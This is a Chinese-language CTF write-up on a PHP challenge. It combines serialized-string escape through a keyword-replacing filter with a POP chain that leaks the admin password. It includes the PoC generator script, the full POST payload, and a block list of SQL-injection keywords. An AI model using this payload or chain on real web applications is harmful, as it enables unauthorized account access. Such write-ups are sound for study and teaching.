尝试了一下万能密码不行,又到处翻了一下,扫目录结果又有www.zip
审计代码好久,序列化和sql结合的题还是第一次见,太菜了呀,花了很久时间才理解这个题
首先看到update.php,这个文件是最亮眼的,逻辑是只要我们登陆成功就输出flag,所以要想办法怎么能登陆成功,
看了一圈貌似没办法伪造$_SESSION[‘login’]===1,它的sql都是PDO预编译的,但是发现好像有办法获得某个用户的密码
利用点应该在这里, 把dbCtrl
类的name
和token
属性的值改为admin
,使其执行后能返回查询admin
用户的结果
if ($this->token=='admin') {
return $idResult;
}
update.php
require_once('lib.php');
echo '
update
这是一个未完成的页面,上线时建议删除本页面
';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}
?>
跟进来看一下,初始化一个User类并调用它的update函数,我们看一下这个update函数
上来就是执行了一个反序列化,那这个反序列化函数后面的代码我们可以先不看,它执行了攻击效果就产生了,我们接着跟进getNewinfo()函数
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
这里我们可以传两个参数进去,都是可控的,传进Info类里经过序列胡以后再过滤
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
注意这里过滤的逻辑是替换,那就很可能产生序列化字符串逃逸
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
构造pop链:
UpdateHelper类的destruct方法触发user类的tostring方法
user类的tostring方法触发Info类的call方法
Info类的call方法调用dbCtrl类的login函数
那个token我们赋值为admin
poc:
class User
{
public $id;
public $age="select password,id from user where username=?";
public $nickname=null;
public function __construct($nickname){
// $this->id=$id;
// $this->age=$age;
$this->nickname=$nickname;
}
}
class Info
{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($CtrlCase){
// $this->age=$age;
// $this->nickname=$nickname;
$this->CtrlCase=$CtrlCase;
}
}
class UpdateHelper
{
public $id;
public $newinfo;
public $sql;
public function __construct($sql){
// $this->id=null;
// $this->newinfo=null;
$this->sql=$sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name="admin";
public $password;
public $mysqli;
public $token="admin";
}
$c=new UpdateHelper(new user(new Info(new dbCtrl())));
$c = '";s:8:"CtrlCase";' . serialize($c) . "}";
$length = strlen($c);
$c = str_repeat('union', $length).$c;
echo $c;
payload:
age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}
md5解密得到admin的密码
登陆以后页面显示出flag
我感觉这个题的不好理解的点还在这里:
return safe(serialize(new Info($age,$nickname)));
之前我们做的反序列化题目大多是全称自己构造,构造好了提交payload直接进行反序列化,但是这个题不一样,它这里写死了反序列化是从new Info( a g e , age, age,nickname)开始的,首先我们刚刚反序列化的入口在UpdateHelper类的destruct方法,其次它这里还是写死了只给操作两个参数,并没有给Info类的第三个参数$CtrlCase,但是好在存在一个反序列化逃逸。
逃逸过程:
我们先看到new Info( a g e , age, age,nickname),那这个类它反序列化出来字符串大括号{}里面只有俩元素,一个age的键值对一个nickname的键值对(这么说也不太严谨,就是那个意思吧),然后操作空间就来了,紧接着这个反序列化好的字符串进到safe函数里进行一个反序列化字符串的逃逸,nickname可以很长,union被替换成hacker等方式都可以用来进行逃逸。这里我们就可以利用这里把我们提前跑好的payload逃逸出来。
逃逸目标:
O:12:"UpdateHelper":3:{s:2:"id";s:0:"";s:7:"newinfo";s:0:"";s:3:"sql";O:4:"User":3:{s:2:"id";s:0:"";s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:0:"";s:8:"nickname";s:1:"1";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:7:"noob123";s:6:"dbpass";s:7:"noob123";s:8:"database";s:7:"noob123";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}
这个是放在Info类的nickname里作为字符串出现的,为了保证Info类序列化的可用性,我们需要把这些字符串逃逸到Info类的第三个属性$CtrlCase里
O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:2868:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerher";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";s:0:"";s:7:"newinfo";s:0:"";s:3:"sql";O:4:"User":3:{s:2:"id";s:0:"";s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:0:"";s:8:"nickname";s:1:"1";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:7:"noob123";s:6:"dbpass";s:7:"noob123";s:8:"database";s:7:"noob123";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}";s:8:"CtrlCase";N;}
Info:这个类的结构是很简单的,注意看我选中的部分其实在逃逸前都作为字符串隶属于nickname,逃逸后我们构造的";s:8:“CtrlCase”;跑了出来并且和我们的payload形成新的键值对,并在末尾加了一个闭合,这样我们构造的就可执行了
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Nu8CU11S-1667187302883)(C:\Users\HP\AppData\Roaming\Typora\typora-user-images\1667177388375.png)]
最终执行的:
safe(serialize(new Info(‘1’,’ "unionunionunion…union;s:8:“CtrlCase” ; ’ . serialize(new UpdateHelper(‘’,‘’,new user(‘’,‘select password,id from user where username=?’,new Info(‘’,‘1’,$d)))) . " } " )))